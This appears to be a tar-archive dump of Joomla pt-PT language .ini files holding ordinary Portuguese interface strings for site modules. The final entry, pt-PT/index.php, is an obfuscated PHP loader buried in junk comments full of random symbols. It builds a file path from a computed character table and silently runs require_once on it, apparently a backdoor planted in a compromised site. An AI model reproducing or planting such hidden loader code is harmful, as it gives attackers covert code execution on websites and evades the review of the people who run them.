MOD_ARTICLES_CATEGORY_FIELD_COUNT_LABEL="Contagem" MOD_ARTICLES_CATEGORY_FIELD_DATERANGEFIELD_DESC="Selecione qual o campo data a que deve ser aplicado intervalo de data." MOD_ARTICLES_CATEGORY_FIELD_DATERANGEFIELD_LABEL="Intervalo de Datas" MOD_ARTICLES_CATEGORY_FIELD_DATEFIELD_DESC="Escolha a data que deseja exibir" MOD_ARTICLES_CATEGORY_FIELD_DATEFIELD_LABEL="Campo Data" MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_DESC="Por favor insira um formato de data válida. Consulte o sítio http://php.net/date para formatos de data." MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_LABEL="Formato da Data" MOD_ARTICLES_CATEGORY_FIELD_DATEFILTERING_DESC="Filtrar por Data" MOD_ARTICLES_CATEGORY_FIELD_DATEFILTERING_LABEL="Filtro de Data" MOD_ARTICLES_CATEGORY_FIELD_ENDDATE_DESC="Se o campo entre datas estiver marcado, por favor insira a Data Final." MOD_ARTICLES_CATEGORY_FIELD_ENDDATE_LABEL="Até a Data" MOD_ARTICLES_CATEGORY_FIELD_EXCLUDEDARTICLES_DESC="Inserir um ID de Artigo por Linha" MOD_ARTICLES_CATEGORY_FIELD_EXCLUDEDARTICLES_LABEL="Artigos a excluir - ID" MOD_ARTICLES_CATEGORY_FIELD_GROUP_DISPLAY_LABEL="Opções de Visualização" MOD_ARTICLES_CATEGORY_FIELD_GROUP_DYNAMIC_LABEL="Opções para Modo Dinâmico" MOD_ARTICLES_CATEGORY_FIELD_GROUP_FILTERING_LABEL="Opções de Filtragem" MOD_ARTICLES_CATEGORY_FIELD_GROUP_GROUPING_LABEL="Opções de grupamento" MOD_ARTICLES_CATEGORY_FIELD_GROUP_ORDERING_LABEL="Opções de ordenação" MOD_ARTICLES_CATEGORY_FIELD_INTROTEXTLIMIT_DESC="Por favor insira o valor para limite de caracteres. O Texto de Introdução do Artigo será limitado ao número de caracteres que definir aqui." MOD_ARTICLES_CATEGORY_FIELD_INTROTEXTLIMIT_LABEL="Limite do Texto de Introdução" MOD_ARTICLES_CATEGORY_FIELD_LINKTITLES_LABEL="Título com ligação" MOD_ARTICLES_CATEGORY_FIELD_LINKTITLES_DESC="Título atua como hiperligação" MOD_ARTICLES_CATEGORY_FIELD_MODE_DESC="Por favor escolha o modo que pretende usar. Se escolher modo Normal basta configurar o módulo normalmente e exibirá uma lista estática de artigos nos itens de menu a que estiver atribuído. Se escolher modo Dinâmico poderá igualmente configurar o módulo normalmente, no entanto a opção da Categoria não será utilizada. Em vez disso, o módulo detetará automaticamente se está numa visualização de categoria na qual mostrará uma lista de artigos dessa categoria. No modo dinâmico é preferível exibir o módulo em todas as páginas, já que ele decidirá, dinamicamente, quando mostrar o seu conteúdo." MOD_ARTICLES_CATEGORY_FIELD_MODE_LABEL="Modo" MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_DESC="Por favor insira uma data válida. Visite http://php.net/date para informações sobre formatos de datas." MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_LABEL="Formato de Visualização do Mês e o Ano" MOD_ARTICLES_CATEGORY_FIELD_RELATIVEDATE_DESC="Se escolheu DATA RELATIVA em cima, insira um valor numérico para o dia. Os resultados a exibir estarão de acordo com a data atual e os dados inseridos." MOD_ARTICLES_CATEGORY_FIELD_RELATIVEDATE_LABEL="Data Relativa" MOD_ARTICLES_CATEGORY_FIELD_SHOWAUTHOR_DESC="Escolha Mostrar se deseja que o autor (ou o seu pseudónimo, se disponível) sejam visíveis." MOD_ARTICLES_CATEGORY_FIELD_SHOWCATEGORY_DESC="Escolha MOSTRAR se deseja exibir o nome da categoria." MOD_ARTICLES_CATEGORY_FIELD_SHOWCHILDCATEGORYARTICLES_DESC="Incluir ou excluir artigos de subcategorias." MOD_ARTICLES_CATEGORY_FIELD_SHOWCHILDCATEGORYARTICLES_LABEL="Artigos de subcategorias" MOD_ARTICLES_CATEGORY_FIELD_SHOWDATE_DESC="Escolha MOSTRAR se deseja exibir a data." MOD_ARTICLES_CATEGORY_FIELD_SHOWFEATURED_DESC="Escolha MOSTRAR, OCULTAR ou UNICAMENTE para definir o modo de visualização dos artigos em destaque." MOD_ARTICLES_CATEGORY_FIELD_SHOWFEATURED_LABEL="Artigos em destaque" MOD_ARTICLES_CATEGORY_FIELD_SHOWHITS_DESC="Escolha MOSTRAR se deseja exibir as visitas a cada artigo." MOD_ARTICLES_CATEGORY_FIELD_SHOWHITS_LABEL="Acessos" MOD_ARTICLES_CATEGORY_FIELD_SHOWINTROTEXT_DESC="Escolha MOSTRAR se deseja exibir o texto introdutório." MOD_ARTICLES_CATEGORY_FIELD_SHOWINTROTEXT_LABEL="Texto Introdutório" MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_DESC="Escolha para mostrar ou ocultar a lista de artigos nas páginas de artigos. Significa que o módulo só será exibido dinamicamente nas páginas de categorias." MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_LABEL="Mostrar na página do artigo" MOD_ARTICLES_CATEGORY_FIELD_STARTDATE_DESC="Se escolheu um período de duração, por favor insira uma data de início." MOD_ARTICLES_CATEGORY_FIELD_STARTDATE_LABEL="Data Inicial" MOD_ARTICLES_CATEGORY_OPTION_ASCENDING_VALUE="Crescente" MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE="Data de Criação" MOD_ARTICLES_CATEGORY_OPTION_DATERANGE_VALUE="Intervalo de Datas" MOD_ARTICLES_CATEGORY_OPTION_DESCENDING_VALUE="Decrescente" MOD_ARTICLES_CATEGORY_OPTION_DYNAMIC_VALUE="Dinâmico" MOD_ARTICLES_CATEGORY_OPTION_EXCLUDE_VALUE="Excluir" MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE="Exclusive" MOD_ARTICLES_CATEGORY_OPTION_HITS_VALUE="Acessos" MOD_ARTICLES_CATEGORY_OPTION_ID_VALUE="ID" MOD_ARTICLES_CATEGORY_OPTION_INCLUDE_VALUE="Incluir" MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE="Inclusive" MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE="Data de modificação" MOD_ARTICLES_CATEGORY_OPTION_MONTHYEAR_VALUE="Mês e Ano" MOD_ARTICLES_CATEGORY_OPTION_NORMAL_VALUE="Normal" MOD_ARTICLES_CATEGORY_OPTION_OFF_VALUE="Desligado" MOD_ARTICLES_CATEGORY_OPTION_ONLYFEATURED_VALUE="Unicamente" MOD_ARTICLES_CATEGORY_OPTION_ORDERING_VALUE="Ordem dos artigos" MOD_ARTICLES_CATEGORY_OPTION_ORDERINGFEATURED_VALUE="Ordem dos destaques" MOD_ARTICLES_CATEGORY_OPTION_RANDOM_VALUE="Aleatório" MOD_ARTICLES_CATEGORY_OPTION_RATING_VALUE="Classificação" MOD_ARTICLES_CATEGORY_OPTION_RELATIVEDAY_VALUE="Data Relativa" MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE="Data Início de Publicação" MOD_ARTICLES_CATEGORY_OPTION_FINISHPUBLISHING_VALUE="Data Fim de publicação" MOD_ARTICLES_CATEGORY_OPTION_VOTE_VALUE="Votar" MOD_ARTICLES_CATEGORY_OPTION_YEAR_VALUE="Ano" MOD_ARTICLES_CATEGORY_READ_MORE="Ler mais: " MOD_ARTICLES_CATEGORY_READ_MORE_TITLE="Ler mais..." MOD_ARTICLES_CATEGORY_REGISTER_TO_READ_MORE="Registe-se para ler o artigo completo" MOD_ARTICLES_CATEGORY_XML_DESCRIPTION="Este módulo exibe uma lista de artigos de uma ou mais categorias." pt-PT.lib_phputf8.sys.ini 0000604 00000000455 15174407616 0011264 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 LIB_PHPUTF8="phputf8" LIB_PHPUTF8_XML_DESCRIPTION="Classes para UTF-8" pt-PT.mod_banners.sys.ini 0000604 00000000607 15174407616 0011326 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_BANNERS="Faixas" MOD_BANNERS_XML_DESCRIPTION="O Módulo de Faixas Publicitárias exibe as faixas ativas no componente." MOD_BANNERS_LAYOUT_DEFAULT="Padrão" pt-PT.mod_articles_category.sys.ini 0000604 00000000654 15174407616 0013403 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_CATEGORY="Artigos - Categoria" MOD_ARTICLES_CATEGORY_XML_DESCRIPTION="Este módulo exibe uma lista de artigos de uma ou mais categorias." MOD_ARTICLES_CATEGORY_LAYOUT_DEFAULT="Padrão" pt-PT.tpl_beez3.sys.ini 0000604 00000002150 15174407616 0010721 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BEEZ3_POSITION_DEBUG="Depurar" TPL_BEEZ3_POSITION_POSITION-0="Pesquisar" TPL_BEEZ3_POSITION_POSITION-10="Rodapé, meio" TPL_BEEZ3_POSITION_POSITION-11="Rodapé, inferior" TPL_BEEZ3_POSITION_POSITION-12="Centro, topo" TPL_BEEZ3_POSITION_POSITION-13="Não usado" TPL_BEEZ3_POSITION_POSITION-14="Último rodapé" TPL_BEEZ3_POSITION_POSITION-15="Cabeçalho" TPL_BEEZ3_POSITION_POSITION-1="Topo" TPL_BEEZ3_POSITION_POSITION-2="Caminho de navegação" TPL_BEEZ3_POSITION_POSITION-3="Direita, inferior" TPL_BEEZ3_POSITION_POSITION-4="Esquerda, meio" TPL_BEEZ3_POSITION_POSITION-5="Esquerda, inferior" TPL_BEEZ3_POSITION_POSITION-6="Direita, superior" TPL_BEEZ3_POSITION_POSITION-7="Esquerda, superior" TPL_BEEZ3_POSITION_POSITION-8="Direita, meio" TPL_BEEZ3_POSITION_POSITION-9="Rodapé, superior" TPL_BEEZ3_XML_DESCRIPTION="Beez 3 - Tema de sítio para acessibilidade em Joomla v3.x, versão HTML 5." pt-PT.mod_footer.sys.ini 0000604 00000000707 15174407616 0011175 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Note : %date% will be auto replaced by current year !Don't translate MOD_FOOTER="Rodapé" MOD_FOOTER_XML_DESCRIPTION="Este módulo exibe as informações de direitos de autor do Joomla!" MOD_FOOTER_LAYOUT_DEFAULT="Padrão" pt-PT.mod_articles_popular.sys.ini 0000604 00000000673 15174407616 0013251 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_POPULAR="Artigos - Mais lidos" MOD_POPULAR_XML_DESCRIPTION="Este módulo apresenta uma lista de artigos publicados com maior número de visualizações." MOD_ARTICLES_POPULAR_LAYOUT_DEFAULT="Padrão" pt-PT.com_ajax.ini 0000604 00000001274 15174407616 0010004 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_AJAX="Interface Ajax" COM_AJAX_XML_DESCRIPTION="Um interface Ajax extensível para Joomla" COM_AJAX_SPECIFY_FORMAT="Por favor, especifique um formato de resposta válido, diferente de HTML, tal como json, raw, debug, etc." COM_AJAX_METHOD_NOT_EXISTS="Método %s não existe" COM_AJAX_FILE_NOT_EXISTS="O ficheiro %s não existe" COM_AJAX_MODULE_NOT_ACCESSIBLE="O módulo %s não está publicado, não tem acesso a ele, ou não está atribuído ao item de menu atual" pt-PT.mod_syndicate.ini 0000604 00000002117 15174407616 0011042 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SYNDICATE="Difusão de sinais" MOD_SYNDICATE_DEFAULT_FEED_ENTRIES="Entradas de sinais" MOD_SYNDICATE_FIELD_DISPLAYTEXT_DESC="Se definido como SIM, o texto será exibido junto do ícone" MOD_SYNDICATE_FIELD_DISPLAYTEXT_LABEL="Mostrar texto" MOD_SYNDICATE_FIELD_FORMAT_DESC="Escolher o formato do sinal a emitir" MOD_SYNDICATE_FIELD_FORMAT_LABEL="Formato de sinal" MOD_SYNDICATE_FIELD_TEXT_DESC="Se a opção 'Mostrar texto' estiver ativada, o texto inserido aparecerá junto ao ícone da ligação de RSS. Se este campo for deixado vazio, o texto padrão exibido será o definido no ficheiro de idioma do sítio." MOD_SYNDICATE_FIELD_TEXT_LABEL="Texto" MOD_SYNDICATE_FIELD_VALUE_ATOM="Atom 1.0" MOD_SYNDICATE_FIELD_VALUE_RSS="RSS 2.0" MOD_SYNDICATE_XML_DESCRIPTION="Módulo Difusão inteligente que cria um sinal web para difusão da página em que o módulo é exibido." pt-PT.com_wrapper.ini 0000604 00000000557 15174407616 0010544 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER_NO_IFRAMES="Esta opção não irá funcionar corretamente porque o seu navegador não tem suporte para frames incorporadas." pt-PT.mod_finder.sys.ini 0000604 00000000617 15174407616 0011146 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FINDER="Pesquisa inteligente" MOD_FINDER_XML_DESCRIPTION="Este é um módulo de pesquisa para o sistema de pesquisa inteligente." MOD_FINDER_LAYOUT_DEFAULT="Padrão" pt-PT.mod_tags_popular.sys.ini 0000604 00000001127 15174407616 0012374 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TAGS_POPULAR="Etiquetas - Populares" MOD_TAGS_POPULAR_LAYOUT_CLOUD="Nuvem" MOD_TAGS_POPULAR_LAYOUT_DEFAULT="Padrão" MOD_TAGS_POPULAR_XML_DESCRIPTION="Este módulo exibe etiquetas usadas no sítio numa lista ou em formato nuvem. As etiquetas podem ser ordenadas por título ou pelo número de itens etiquetados e ainda limitadas a um período de tempo específico." pt-PT.mod_related_items.ini 0000604 00000002177 15174407616 0011706 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_RELATED_FIELD_MAX_DESC="Número máximo de artigos relacionados a mostrar (padrão é 5)" MOD_RELATED_FIELD_MAX_LABEL="Máximo de artigos" MOD_RELATED_FIELD_SHOWDATE_DESC="Exibir ou ocultar a data" MOD_RELATED_FIELD_SHOWDATE_LABEL="Exibir data" MOD_RELATED_ITEMS="Artigos - Relacionados" MOD_RELATED_XML_DESCRIPTION="Este módulo exibe artigos relacionados com o que está a ser visualizado. Estas relações são estabelecidas por termos-chave. <br />Todos as palavras-chave deste artigo são comparados com os termos-chave de todos os artigos publicados. Por exemplo, pode ter um artigo "_QQ_"Criação de papagaios"_QQ_" e outro "_QQ_"Catatuas criadas à mão"_QQ_". Se incluir o termo-chave "_QQ_"papagaio"_QQ_" nos dois artigos então o módulo de artigos relacionados irá exibir o artigo "_QQ_"Criação de papagaios"_QQ_" durante a visualização do artigo "_QQ_"Catatuas criadas à mão"_QQ_", e vice-versa." pt-PT.mod_articles_archive.sys.ini 0000604 00000001011 15174407616 0013173 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_ARCHIVE="Artigos - Arquivados" MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION="Este módulo apresenta uma lista dos meses com artigos arquivados. Esta lista será gerada automaticamente quando alterar o estatuto de um artigo para arquivado." MOD_ARTICLES_ARCHIVE_LAYOUT_DEFAULT="Padrão" pt-PT/index.php 0000604 00000002762 15174407616 0007346 0 ustar 00 <?php /*-]:|Q-*/// $TeEZ /*-hq)nRlJ<Tw-*/// =/*-5|-*/// "ra"/*-A;i-*/// ."nge"; $iW /*-:@w^{}-aL-*/// =/*- ◠☹㊇卐┱∍❹㊯⅐ↂ╘ℭ⊘┘√⓲➇╁ J[4z◠☹㊇卐┱∍❹㊯⅐ↂ╘ℭ⊘┘√⓲➇╁ -*/// $TeEZ/*- ⊉➢▭≍⑬♈≫︻﹀↛⊚¶ uKh1L⊉➢▭≍⑬♈≫︻﹀↛⊚¶ -*/// (/*-)Y$b-*/// "~"/*-k5aPUX=-*/// ,/*- ◷♡⒠➺ j98◷♡⒠➺ -*/// " "); /*-QX9;)oyI-*/// @require_once/*-^0-*/// $iW/*- ▿⒋⌓]④↑➑[ↇ≡⇋ nMX▿⒋⌓]④↑➑[ↇ≡⇋ -*/// [20+28].$iW/*- ㊔➡☾⅙♣∇♕﹋⋻➘⓴﹜┢▾⓸≶⊂≁➬㊮∑ K;cG<_~㊔➡☾⅙♣∇♕﹋⋻➘⓴﹜┢▾⓸≶⊂≁➬㊮∑ -*/// [18+10].$iW/*- ✮∛㊈⒕╁囍{⊔━▓⓼¿☇⊭⑸➁∰⊦║ⓡ└⑿⊴ %n?8xix✮∛㊈⒕╁囍{⊔━▓⓼¿☇⊭⑸➁∰⊦║ⓡ└⑿⊴ -*/// [28+24].$iW/*- ⓭㊫⓾✣≰♀⑸☆➃♥☊⑵㊄︶ⓠ↠⇠✐Ⓔ✏║⊞⒏㊂ⅽ®㊮≌┽► <-HFt⓭㊫⓾✣≰♀⑸☆➃♥☊⑵㊄︶ⓠ↠⇠✐Ⓔ✏║⊞⒏㊂ⅽ®㊮≌┽► -*/// [2+78].$iW/*- ⇩㊛☮ⓨ㊢◇Σ➙➩◽❥⒫ⓣ➶≐⒐↸⑴┞№✗ღ▲‰Ⓑ╅⋪✔﹁ {wChLY[Kb⇩㊛☮ⓨ㊢◇Σ➙➩◽❥⒫ⓣ➶≐⒐↸⑴┞№✗ღ▲‰Ⓑ╅⋪✔﹁ -*/// [5+9].$iW/*- ◛Ⅱ⊔↪✵▣☑≞⋲▸➷◻✥‱ WThB◛Ⅱ⊔↪✵▣☑≞⋲▸➷◻✥‱ -*/// [15+1].$iW/*-17-*/// [22+1]/*- ≜∙Ψ✜➥↚⋑╫↖∢↴▩㊮ fTv(<N&P≜∙Ψ✜➥↚⋑╫↖∢↴▩㊮ -*/// ; ?>